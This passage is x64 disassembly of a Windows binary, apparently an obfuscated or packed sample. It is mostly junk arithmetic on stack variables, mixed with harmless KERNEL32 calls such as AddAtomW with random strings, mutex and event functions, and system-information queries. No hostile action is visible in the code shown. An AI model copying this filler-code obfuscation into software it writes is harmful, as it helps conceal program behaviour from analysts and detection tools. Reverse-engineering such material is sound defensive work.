mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x2ef8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4680], rax
lea rax, [rsp + 0x2124]
mov qword [rsp + 0x6368], rax
mov rax, qword [rsp + 0x6238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60c8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5878]
mov byte [rcx], al
lea rax, [rsp + 0xd84]
mov qword [rsp + 0x6370], rax
movzx ecx, word [rsp + 0xdf0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe24], ax
movzx eax, word [rsp + 0x438]
movzx ecx, word [rsp + 0xd10]
add eax, ecx
mov rcx, qword [0x14018c3a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ee0]
mov rcx, qword [rsp + 0x3718]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2e58]
mov rcx, qword [rsp + 0x5388]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x6378], rax
movzx eax, word [0x14018c0c8]
movzx ecx, word [rsp + 0x3b4]
and eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov word [rcx], ax
lea rax, [rsp + 0x101]
mov qword [rsp + 0x6380], rax
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x6020]
mov ecx, dword [rsp + 0x2034]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5570]
mov dword [rcx], eax
lea rax, [0x14018ad18]
mov qword [rsp + 0x6388], rax
mov rax, qword [rsp + 0x49a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4360]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6290]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb48]
movsx ecx, word [rsp + 0xd0c]
shl eax, cl
mov word [0x14018c080], ax
mov rax, qword [0x14018c358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc4]
xor eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov word [rcx], ax
mov eax, dword [rsp + 0x1cb8]
mov dword [rsp + 0x2190], eax
mov edx, 0x81b
mov rcx, qword [rsp + 0x5c28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2160], eax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1df], al
lea rax, [rsp + 0x50b0]
mov qword [rsp + 0x6390], rax
mov rax, qword [rsp + 0x5a50]
mov rcx, qword [rsp + 0x43f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d50]
mov rcx, qword [rsp + 0x2c18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x46a0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2194], eax
lea rax, [rsp + 0x1e5]
mov qword [rsp + 0x6398], rax
mov rax, qword [rsp + 0x4d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6028]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5030]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ab8]
movzx eax, word [rax]
mov word [0x14018c3c8], ax
mov rax, qword [0x14018c108]
mov qword [rsp + 0x63a0], rax
movzx eax, word [rsp + 0x8e4]
mov rcx, qword [rsp + 0x6228]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd58], ax
mov rax, qword [rsp + 0x5d98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5670]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x52e8]
mov word [rcx], ax
mov rax, qword [0x14018bed0]
mov rcx, qword [rsp + 0x5308]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2d88], rax
mov rax, qword [rsp + 0x5bb0]
mov rcx, qword [rsp + 0x5078]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4420]
mov dword [rcx], eax
lea rax, [0x14018ad68]
mov qword [rsp + 0x63a8], rax
movsx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x4338]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x4070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43e8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6148]
mov word [rcx], ax
mov rax, qword [0x14018c0c0]
mov rcx, qword [rsp + 0x39b8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [0x14018c2e0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4800]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1f68]
mov qword [rsp + 0x63b0], rax
movzx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0x4b58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1cc], al
lea rax, [0x14018c118]
mov qword [rsp + 0x63b8], rax
movzx ecx, word [rsp + 0xcf4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdf0], ax
mov rax, qword [rsp + 0x45a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5ec]
sar eax, cl
mov rcx, qword [rsp + 0x4578]
mov word [rcx], ax
lea rax, [rsp + 0x95]
mov qword [rsp + 0x63c0], rax
mov rax, qword [rsp + 0x3a68]
mov rcx, qword [0x14018c188]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1e0c], eax
mov rax, qword [rsp + 0x5940]
mov rcx, qword [rsp + 0x5890]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2fa8], rax
lea rax, [rsp + 0x970]
mov qword [rsp + 0x63c8], rax
lea rax, [rsp + 0xc34]
mov qword [0x14018c3d0], rax
mov rax, qword [rsp + 0x5108]
mov rcx, qword [rsp + 0x4d78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6358]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6110]
mov rax, qword [rax]
mov qword [rsp + 0x63d0], rax
mov rax, qword [rsp + 0x57d0]
mov rcx, qword [0x14018c290]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6218]
mov qword [rcx], rax
movsx eax, word [rsp + 0x554]
movsx ecx, word [rsp + 0xbb4]
sar eax, cl
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
lea rax, [rsp + 0x1e48]
mov qword [rsp + 0x63d8], rax
movsx eax, byte [rsp + 0x1bb]
movsx ecx, byte [0x14018acdb]
add eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0x63e0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x63e8], rax
mov rax, qword [rsp + 0x5ee8]
mov ecx, dword [rsp + 0x1ec0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x40c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4180]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
and eax, ecx
mov rcx, qword [rsp + 0x5948]
mov byte [rcx], al
lea rax, [rsp + 0x3ac]
mov qword [0x14018c3d8], rax
movzx eax, word [rsp + 0xcd4]
mov rcx, qword [rsp + 0x5e58]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x918], ax
mov rax, qword [rsp + 0x5b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d4]
xor eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov word [rcx], ax
lea rax, [rsp + 0x6030]
mov qword [rsp + 0x63f0], rax
mov rax, qword [rsp + 0x42f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x212c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f44], eax
lea rax, [rsp + 0x1b7]
mov qword [rsp + 0x63f8], rax
mov rax, qword [rsp + 0x4418]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5040]
mov qword [rsp + 0x6400], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6400]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6038]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5a08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4760]
mov word [rcx], ax
lea rax, [0x14018c19c]
mov qword [rsp + 0x6408], rax
movzx ecx, word [rsp + 0xdc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd18], ax
mov rax, qword [rsp + 0x49a0]
mov rcx, qword [rsp + 0x5bf8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018c300], rax
movzx ecx, word [rsp + 0xdd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdd8], ax
movzx eax, word [rsp + 0x618]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x39c], ax
lea rcx, str.SnI_y_9Uym6Z2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xe28], ax
lea rax, [rsp + 0x2ec0]
mov qword [rsp + 0x6410], rax
mov rax, qword [rsp + 0x6080]
mov rcx, qword [rsp + 0x3de8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x52d0], rax
mov rax, qword [rsp + 0x5140]
mov rcx, qword [rsp + 0x38a0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5850]
mov qword [rcx], rax
lea rax, [0x14018bdc7]
mov qword [rsp + 0x6418], rax
movzx eax, byte [rsp + 0x1d4]
mov rcx, qword [rsp + 0x40f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x177], al
lea rax, [rsp + 0x1d40]
mov qword [rsp + 0x6420], rax
mov eax, dword [rsp + 0x20ec]
mov rcx, qword [0x14018bde0]
mov qword [rsp + 0x6428], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6428]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
movsx eax, word [rsp + 0xdbc]
movsx ecx, word [rsp + 0xda0]
sub eax, ecx
mov rcx, qword [0x14018c090]
mov word [rcx], ax
movsx eax, word [rsp + 0xddc]
movsx ecx, word [0x14018bdc4]
add eax, ecx
mov word [rsp + 0xcac], ax
lea rax, [rsp + 0xa98]
mov qword [rsp + 0x6430], rax
mov rax, qword [rsp + 0x41f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe18]
and eax, ecx
mov rcx, qword [rsp + 0x4948]
mov word [rcx], ax
lea rax, [rsp + 0x19f]
mov qword [rsp + 0x6438], rax
mov rax, qword [0x14018c2f0]
mov rcx, qword [rsp + 0x4ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4450]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b40]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4cb8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xce4]
mov word [rsp + 0xe2c], ax
mov rax, qword [rsp + 0x4f90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x59b8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6090]
mov word [rcx], ax
lea rax, [rsp + 0x3880]
mov qword [0x14018c3e0], rax
lea rax, [rsp + 0x2fc8]
mov qword [rsp + 0x6440], rax
mov rax, qword [rsp + 0x4690]
mov rcx, qword [rsp + 0x47b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x55c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a68]
mov qword [rsp + 0x6448], rax
movzx eax, word [rsp + 0xdf4]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5800]
mov word [rcx], ax
mov rax, qword [rsp + 0x5da8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2190]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x154]
cdq
mov ecx, 9
idiv ecx
mov byte [rsp + 0x190], al
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x4340]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x101], al
lea rax, [rsp + 0x2164]
mov qword [rsp + 0x6450], rax
mov rax, qword [rsp + 0x51c0]
mov rcx, qword [rsp + 0x3fc0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018ada0], rax
movsx eax, word [rsp + 0xcac]
mov rcx, qword [0x14018bf28]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5fe0]
mov word [rcx], ax
movsx eax, word [rsp + 0xd74]
movsx ecx, word [rsp + 0xcec]
and eax, ecx
mov rcx, qword [rsp + 0x5978]
mov word [rcx], ax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0x6458], rax
mov rax, qword [rsp + 0x48b8]
movzx ecx, al
mov rax, qword [rsp + 0x3390]
sar rax, cl
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
lea rax, [rsp + 0x1c7]
mov qword [rsp + 0x6460], rax
mov eax, dword [rsp + 0x2010]
mov ecx, dword [rsp + 0x2184]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d50]
mov rcx, qword [0x14018c0e8]
mov qword [rsp + 0x6468], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6468]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
lea rax, [rsp + 0xdd4]
mov qword [rsp + 0x6470], rax
mov rax, qword [rsp + 0x4908]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e0]
xor eax, ecx
mov word [0x14018c0cc], ax
mov rax, qword [rsp + 0x5358]
mov rcx, qword [rsp + 0x4360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x51e8], rax
mov r9d, 0x276
xor r8d, r8d
lea rdx, [rsp + 0x4738]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x1fb0], eax
lea rax, [rsp + 0xdec]
mov qword [rsp + 0x6478], rax
mov rax, qword [rsp + 0x4d38]
mov ecx, dword [rsp + 0x2064]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5d50]
mov dword [rcx], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov byte [rsp + 0x1e7], al
mov rax, qword [rsp + 0x5940]
mov rcx, qword [rsp + 0x4628]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3930], rax
mov eax, dword [rsp + 0x207c]
movzx ecx, al
mov eax, dword [rsp + 0x1f44]
shr eax, cl
mov dword [rsp + 0x2188], eax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [rsp + 0x69]
add eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x4b38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5b08]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov word [rcx], ax
lea rax, [rsp + 0xd54]
mov qword [0x14018c3e8], rax
lea rax, [rsp + 0x3f78]
mov qword [rsp + 0x6480], rax
mov rax, qword [rsp + 0x6110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d88]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
movsx eax, word [rsp + 0x688]
movsx ecx, word [0x14018c260]
sub eax, ecx
mov rcx, qword [rsp + 0x5b08]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f90]
movzx eax, word [rax]
mov word [rsp + 0xe30], ax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x187]
sar eax, cl
mov rcx, qword [rsp + 0x6438]
mov byte [rcx], al
lea rax, [rsp + 0x3068]
mov qword [rsp + 0x6488], rax
mov eax, dword [rsp + 0x2174]
mov ecx, dword [rsp + 0x1ca8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3fd8]
mov qword [rsp + 0x6490], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6490]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x49f0]
mov qword [rcx], rax
mov rax, qword [0x14018be38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe2c]
xor eax, ecx
mov word [0x14018ad64], ax
mov rax, qword [rsp + 0x4078]
movzx eax, word [rax]
mov word [rsp + 0xe34], ax
mov rax, qword [rsp + 0x4bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x208c], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x6498], rax
mov rax, qword [rsp + 0x38d8]
mov rcx, qword [rsp + 0x40b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5000]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e28], rax
lea rax, [0x14018bdca]
mov qword [rsp + 0x64a0], rax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4708]
mov qword [rsp + 0x64a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x64a8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5be0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd30]
movsx ecx, word [rsp + 0xd44]
add eax, ecx
mov word [rsp + 0x81c], ax
mov edx, 0x2435
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2198], eax
lea rax, [0x14018bee8]
mov qword [0x14018c3f0], rax
mov rcx, qword [rsp + 0x53c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x204c], eax
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x48b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f10], rax
lea rax, [rsp + 0xd64]
mov qword [rsp + 0x64b0], rax
mov rax, qword [rsp + 0x5470]
movsx eax, word [rax]
mov rcx, qword [0x14018c180]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a80]
mov rcx, qword [rsp + 0x5fd0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4928], rax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
mov byte [rsp + 0x1e8], al
mov rax, qword [0x14018bfa0]
mov ecx, dword [rsp + 0x1f90]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2110], eax
mov rax, qword [rsp + 0x4408]
mov rcx, qword [rsp + 0x5920]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2fd8], rax
movzx eax, word [rsp + 0xcd4]
mov rcx, qword [rsp + 0x5b30]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5d28]
mov word [rcx], ax
mov rax, qword [rsp + 0x5bc8]
mov rcx, qword [rsp + 0x2b30]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c3b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2100]
movzx ecx, al
mov eax, dword [rsp + 0x1f68]
shl eax, cl
mov rcx, qword [rsp + 0x6130]
mov dword [rcx], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x64b8], rax
mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5978]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5738]
mov word [rcx], ax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0x64c0], rax
mov rax, qword [0x14018c188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20c0], eax
mov rax, qword [rsp + 0x59c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4338]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c60]
mov qword [rsp + 0x64c8], rax
movsx eax, word [0x14018be7c]
mov rcx, qword [rsp + 0x61b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x688], ax
mov rax, qword [rsp + 0x57c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd34]
and eax, ecx
mov rcx, qword [0x14018c1b8]
mov word [rcx], ax
lea rax, [rsp + 0x5f10]
mov qword [rsp + 0x64d0], rax
mov rax, qword [rsp + 0x51e8]
movzx ecx, al
mov rax, qword [0x14018c108]
sar rax, cl
mov qword [rsp + 0x3630], rax
mov rax, qword [rsp + 0x4740]
mov rcx, qword [rsp + 0x39a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6390]
mov qword [rcx], rax
lea rax, [rsp + 0xda0]
mov qword [rsp + 0x64d8], rax
mov eax, dword [rsp + 0x2024]
mov ecx, dword [0x14018ad34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10e]
sub eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [0x14018be48]
mov rcx, qword [rsp + 0x64c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b0], rax
lea rax, [rsp + 0x1bf]
mov qword [rsp + 0x64e0], rax
mov eax, dword [rsp + 0x2094]
movzx ecx, al
mov eax, dword [rsp + 0x1fa0]
shl eax, cl
mov dword [rsp + 0x1ec0], eax
lea rax, [rsp + 0x69c]
mov qword [0x14018c3f8], rax
movzx eax, word [rsp + 0xce0]
mov rcx, qword [rsp + 0x5218]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
lea rax, [rsp + 0x61c]
mov qword [rsp + 0x64e8], rax
mov rax, qword [rsp + 0x5540]
mov rcx, qword [rsp + 0x61e8]
mov qword [rsp + 0x64f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x64f0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2e58], rax
mov rax, qword [rsp + 0x4570]
mov eax, dword [rax]
mov dword [rsp + 0x219c], eax
movzx ecx, word [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe38], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x5858]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x4390]
mov rcx, qword [0x14018be48]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4408]
mov qword [rcx], rax
lea rax, [rsp + 0x554]
mov qword [rsp + 0x64f8], rax
movzx eax, word [rsp + 0xd1c]
movzx ecx, word [rsp + 0xab4]
and eax, ecx
mov rcx, qword [rsp + 0x64b0]
mov word [rcx], ax
lea rax, [rsp + 0x2bc8]
mov qword [0x14018c400], rax
mov rax, qword [rsp + 0x4ef8]
movzx eax, word [rax]
mov word [rsp + 0xe3c], ax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x5ce0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6448]
movzx ecx, al
mov rax, qword [rsp + 0x3820]
sar rax, cl
mov rcx, qword [rsp + 0x4860]
mov qword [rcx], rax
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x6500], rax
movsx eax, byte [rsp + 0x1b7]
movsx ecx, byte [rsp + 0xb4]
sub eax, ecx
mov rcx, qword [rsp + 0x6380]
mov byte [rcx], al
lea rax, [rsp + 0x2128]
mov qword [rsp + 0x6508], rax
movzx eax, byte [rsp + 0x1d1]
movzx ecx, byte [rsp + 0x166]
cdq
idiv ecx
mov byte [rsp + 0x1ce], al
lea rax, [rsp + 0x4d68]
mov qword [rsp + 0x6510], rax
mov rax, qword [rsp + 0x4158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdd4]
and eax, ecx
mov rcx, qword [0x14018c308]
mov word [rcx], ax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x5888]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5660]
mov word [rcx], ax
mov rax, qword [rsp + 0x57a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ad8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4668]
mov word [rcx], ax
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x6518], rax
movsx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x4f98]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1bd], al
lea rax, [rsp + 0x212c]
mov qword [rsp + 0x6520], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x5ef0]
mov rcx, qword [rsp + 0x5b68]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x63b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
sar eax, cl
mov rcx, qword [rsp + 0x52a0]
mov word [rcx], ax
movzx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0x4ab8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x514], ax
mov rax, qword [rsp + 0x6358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3320]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bfb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x36c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6480]
mov qword [rcx], rax
lea rax, [rsp + 0x3820]
mov qword [rsp + 0x6528], rax
mov rax, qword [rsp + 0x3a10]
mov rcx, qword [0x14018ad28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6110]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
and eax, ecx
mov word [rsp + 0xb78], ax
lea rax, [rsp + 0x20fc]
mov qword [rsp + 0x6530], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4010]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x3f10]
mov byte [rcx], al
lea rax, [rsp + 0x37b0]
mov qword [rsp + 0x6538], rax
lea rcx, str.JQ_RSDNz03_Ng56U_yf7NrN
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xe38], ax
lea rcx, str.BfHubgZmmnZ_IlZgynz
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xe04], ax
mov rax, qword [rsp + 0x52c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20f0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x6540], rax
movzx eax, byte [0x14018bdc6]
mov byte [0x14018bdcb], al
mov rax, qword [rsp + 0x6370]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f38]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x64d8]
mov word [rcx], ax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4dc8]
movzx eax, word [rax]
mov word [rsp + 0xe40], ax
mov rax, qword [0x14018c060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5bf0]
movzx ecx, word [rcx]
sub eax, ecx
